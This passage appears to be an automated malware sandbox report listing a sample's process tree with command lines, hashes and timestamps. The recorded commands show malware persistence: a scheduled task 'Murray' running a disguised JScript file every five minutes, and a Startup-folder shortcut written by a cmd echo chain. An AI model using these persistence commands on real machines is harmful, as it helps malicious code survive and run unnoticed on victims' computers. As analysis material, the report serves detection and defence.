Commandline:	cmd /c schtasks.exe /create /tn "Murray" /tr "wscript //B 'C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.js'" /sc minute /mo 5 /F
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	16
Start time:	04:15:01
Start date:	07/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	17
Start time:	04:15:01
Start date:	07/01/2025
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	schtasks.exe /create /tn "Murray" /tr "wscript //B 'C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.js'" /sc minute /mo 5 /F
Imagebase:	0x380000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	18
Start time:	04:15:02
Start date:	07/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LinkHub.url" & echo URL="C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LinkHub.url" & exit
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	19
Start time:	04:15:02
Start date:	07/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	20
Start time:	04:15:03
Start date:	07/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wscript.EXE //B "C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.js"
Imagebase:	0x7ff6cb230000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	21
Start time:	04:15:03
Start date:	07/01/2025
Path:	C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com" "C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\y"
Imagebase:	0x240000
File size:	947'288 bytes
MD5 hash:	62D09F076E6E0240548C2F837536A46A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	true

Target ID:	23
Start time:	04:15:14
Start date:	07/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.js"
Imagebase:	0x7ff6cb230000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	24
Start time:	04:15:15
Start date:	07/01/2025
Path:	C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com" "C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\y"
Imagebase:	0x240000
File size:	947'288 bytes
MD5 hash:	62D09F076E6E0240548C2F837536A46A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true